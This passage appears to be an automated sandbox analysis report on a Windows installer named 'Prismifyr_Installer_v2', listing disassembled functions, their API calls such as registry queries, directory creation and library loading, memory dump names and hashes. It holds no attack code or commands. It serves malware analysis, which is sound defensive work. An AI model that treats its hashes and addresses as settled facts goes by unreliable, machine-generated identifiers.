Part of subcall function 004057F1: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405834

SetCurrentDirectoryW.KERNELBASE(?,004D3000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: 125bac33416d21a80fc522b842b933099275dd0dd1ea66691da55d5ffdcd1f5d
Instruction ID: 536d45c59d08a7b21130d9dbd5b0e10796a041e4a40079992e14d28e29d42f71
Opcode Fuzzy Hash: 125bac33416d21a80fc522b842b933099275dd0dd1ea66691da55d5ffdcd1f5d
Instruction Fuzzy Hash: 2211E231504505EBCF30AFA1CD0159F36A0EF14369B28493BFA45B22F1DB3E8A919B5E

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsyC753.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 8c6ae37f0c00b40db9a7f0b8771259aad396ca2ebfe9c6ecab15c5ec5bd387db
Instruction ID: 1206e07bb255176646816810ef0290bee69920d7ecde6c9ccbb84b14c6b4306b
Opcode Fuzzy Hash: 8c6ae37f0c00b40db9a7f0b8771259aad396ca2ebfe9c6ecab15c5ec5bd387db
Instruction Fuzzy Hash: E311A771D10205EBDF14DFA4CA585AE77B4EF44348B20843FE505B72C0D6B89A41EB5E

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: be076caaca7df3d109edefedbdc7bfa3a965653d784c315eb79774cf5cfe89e5
Instruction ID: ea42f58d7670a619ed9131e80823b54190387dbc53765a55c310ef4228f9fff3
Opcode Fuzzy Hash: be076caaca7df3d109edefedbdc7bfa3a965653d784c315eb79774cf5cfe89e5
Instruction Fuzzy Hash: AF0128316202109BE7095B789E04B2A3798E710315F10463FF855F62F1D6B8CC829B5C

Function 004053F5 Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405405

Part of subcall function 0040427D: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040428F

CoUninitialize.COMBASE(00000404,00000000), ref: 00405451

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: a1f8c397b5266fa352d60afbf9b4c77fa9abc53c67a054b05b22dcb893a39c3f
Instruction ID: 7813e2a1ccdf537c56c01956b79198a0443dbd649336f33e6835a7e221d2fb99
Opcode Fuzzy Hash: a1f8c397b5266fa352d60afbf9b4c77fa9abc53c67a054b05b22dcb893a39c3f
Instruction Fuzzy Hash: ABF090B25406009BE7015B549D01BAB7760EFD431AF05443EFF89B22E0D77948928E6E

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 87f8232cb56b7a5d6ce9856bfa50bd061077f9975d19b3a51d23438555d97d86
Instruction ID: fc8c1c2e7d4a5a8f9e35cd12a8e681b154a8316ed36a6d041aa31def844ca7e2
Opcode Fuzzy Hash: 87f8232cb56b7a5d6ce9856bfa50bd061077f9975d19b3a51d23438555d97d86
Instruction Fuzzy Hash: 61E01A72E082008FE724ABA5AA495AD77B4EB90365B20847FE211F11D1DA7858819F6A

Function 00406694 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403401,0000000A), ref: 004066A6
GetProcAddress.KERNEL32(00000000,?), ref: 004066C1

Part of subcall function 00406624: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 0040663B
Part of subcall function 00406624: wsprintfW.USER32 ref: 00406676
Part of subcall function 00406624: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 0040668A

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 2c450699f5e5c6ed5e41876474a170b73f17b01a65d70064c3ee9ca103cb2d45
Instruction ID: 155b38c425e345f43688a0673e138072f65e923c2ca09dacbbabb210d44f0fbf
Opcode Fuzzy Hash: 2c450699f5e5c6ed5e41876474a170b73f17b01a65d70064c3ee9ca103cb2d45
Instruction Fuzzy Hash: 50E0863250461156D31197709E4487762EC9B95750307483EF946F2091DB399C36A66D

Function 00403915 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,004DF000,00000000,76233420,004038ED,00403703,00000006,?,00000006,00000008,0000000A), ref: 0040392F
GlobalFree.KERNEL32(?), ref: 00403936

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID:
API String ID: 1100898210-0
Opcode ID: bd7b370b1f223a5589d226506ef49f546026ce3eccc4315b581019b2d362f361
Instruction ID: 228f896298dd83b048f64e6024dd5859bf02c68f9830d759f3998b57695c5827
Opcode Fuzzy Hash: bd7b370b1f223a5589d226506ef49f546026ce3eccc4315b581019b2d362f361
Instruction Fuzzy Hash: 12E0C2334122205BC6215F04ED08B5A776CAF49B32F15407AFA807B2A087B81C928FC8

Function 00405DB0 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(004E7000,00402F1D,004E7000,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405DB4
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DD6

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction ID: 684cdbd871a87963be1dc25f749e3f1c2e3aca1a790447dc63e6e481d8426dbe
Opcode Fuzzy Hash: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction Fuzzy Hash: 5DD09E31254301AFEF098F20DE16F2EBBA2EB84B05F11552CB786940E0DA7158199B15

Function 00405D8B Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405990,?,?,00000000,00405B66,?,?,?,?), ref: 00405D90
SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405DA4

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction ID: fe430eedc911e7c92ce83e5abbc00e08444bb0e311ec0623c818608bfa408f6d
Opcode Fuzzy Hash: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction Fuzzy Hash: 1BD0C972504420ABD2512728AF0C89BBB95DB542717028B39FAA9A22B0CB304C568A98

Function 004038D0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00403703,00000006,?,00000006,00000008,0000000A), ref: 004038DB

Strings

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\, xrefs: 004038EF

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\
API String ID: 2962429428-1718678454
Opcode ID: 6cd6e50f5f17456ee504dea1d279a22ffa05636b30f87aa31bf8984a95f31d7c
Instruction ID: f79f1cdd038f729e9031bf35a7c7ad7adb8aafebcc14ea038f42f7e62efb972e
Opcode Fuzzy Hash: 6cd6e50f5f17456ee504dea1d279a22ffa05636b30f87aa31bf8984a95f31d7c
Instruction Fuzzy Hash: 69C0127054070496C1206F759D4F6193E54AB8173BB604776B0B8B10F1C77C4B59595E

Function 0040586E Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403382,004DF000,004DF000,004DF000,004DF000,76233420,004035D9,?,00000006,00000008,0000000A), ref: 00405874
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 00405882

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
